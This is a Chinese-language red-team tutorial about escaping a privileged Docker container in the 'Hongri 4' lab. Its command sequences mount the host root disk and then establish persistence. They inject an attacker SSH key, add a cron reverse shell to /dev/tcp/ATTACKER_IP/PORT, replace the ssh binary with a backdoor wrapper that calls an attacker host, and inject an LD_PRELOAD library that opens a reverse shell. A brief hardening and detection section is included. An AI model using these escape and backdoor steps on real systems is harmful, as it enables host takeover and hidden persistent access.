红日4靶场 Docker 特权逃逸实战:3步挂载宿主机磁盘获取 root 权限
Docker特权模式逃逸实战从容器到宿主机的权限突破1. 特权模式逃逸技术原理当容器以特权模式--privileged启动时Docker会解除所有默认的权限限制这意味着容器可以访问主机上的所有设备容器拥有几乎所有的内核能力Capabilities容器可以执行mount操作挂载主机文件系统关键原理特权容器能够直接访问宿主机的设备文件如/dev/sda1通过挂载宿主机根文件系统即可获得对宿主机完整的读写权限。# 检查当前容器是否以特权模式运行 cat /proc/self/status | grep CapEff典型特权容器的CapEff值为0000003fffffffff或0000001fffffffff2. 实战操作三步获取宿主机root权限2.1 环境检测与准备首先确认当前处于Docker容器环境# 检查.dockerenv文件 ls -alh /.dockerenv # 检查cgroup信息 cat /proc/1/cgroup | grep docker # 检查磁盘设备 fdisk -l输出示例Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors2.2 挂载宿主机文件系统# 创建挂载点目录 mkdir /mnt/host # 挂载宿主机根分区 mount /dev/sda1 /mnt/host # 验证挂载 df -h | grep sda1操作示意图容器内路径实际访问路径权限级别/mnt/host/etc宿主机/etc读写/mnt/host/root宿主机/root读写/mnt/host/var宿主机/var读写2.3 权限获取与维持方法一SSH密钥注入# 在宿主机创建.ssh目录如不存在 mkdir -p /mnt/host/root/.ssh # 写入攻击者公钥 echo ssh-rsa AAAAB3NzaC... /mnt/host/root/.ssh/authorized_keys # 设置正确权限 chmod 600 /mnt/host/root/.ssh/authorized_keys方法二计划任务反弹shell# 创建反弹脚本 echo bash -i /dev/tcp/ATTACKER_IP/PORT 01 /mnt/host/tmp/exploit.sh # 添加计划任务 echo * * * * * root bash /tmp/exploit.sh /mnt/host/etc/crontab3. 防御与检测方案3.1 安全配置建议避免使用特权模式# 错误做法 docker run --privileged -it ubuntu bash # 正确做法仅添加必要权限 docker run --cap-addSYS_ADMIN -it ubuntu bash最小化能力集# 移除所有能力再添加必要能力 docker run --cap-dropALL --cap-addNET_BIND_SERVICE -it ubuntu bash3.2 入侵检测指标可疑行为特征容器内执行mount操作访问/dev/sd*设备文件修改宿主机敏感文件如/root/.ssh/authorized_keys检测命令示例# 检查异常挂载点 mount | grep -vE (proc|sys|devpts|tmpfs) # 监控设备文件访问 auditctl -w /dev/sd* -p war -k docker_device_access4. 高级利用技巧4.1 容器逃逸检测自动化使用开源工具快速检测逃逸漏洞# 下载并运行检测工具 wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_amd64 chmod x cdk_linux_amd64 ./cdk_linux_amd64 evaluate --full常见检测项目特权模式检查敏感目录挂载Docker.sock访问内核漏洞检测4.2 权限维持后门设计隐蔽型后门方案SSH wrapper后门# 备份原始ssh二进制文件 mv /mnt/host/usr/bin/ssh /mnt/host/usr/bin/ssh.bak # 创建恶意wrapper echo #!/bin/bash if [ -z $ ]; then /usr/bin/ssh.bak -o StrictHostKeyCheckingno -i /root/.ssh/id_rsa attackerhost else /usr/bin/ssh.bak $ fi /mnt/host/usr/bin/ssh chmod x /mnt/host/usr/bin/ssh动态链接库注入# 劫持常见库函数 echo void _init() { unsetenv(LD_PRELOAD); system(bash -c \bash -i /dev/tcp/ATTACKER_IP/PORT 01\); } /tmp/evil.c gcc -shared -fPIC -o /mnt/host/tmp/evil.so /tmp/evil.c # 注入到sshd配置 echo export LD_PRELOAD/tmp/evil.so /mnt/host/etc/ssh/sshd_config在实际渗透测试项目中特权模式逃逸往往只是内网渗透的起点。成功获取宿主机权限后安全团队应当立即进行全面日志分析/var/log/目录网络连接审查netstat -antp用户登录历史检查last/lastb计划任务和系统服务审计这种从容器到宿主机的权限突破手法在云原生安全领域具有典型意义也是红队评估中的重要考核点。理解其原理和防御方法对于构建安全的容器化环境至关重要。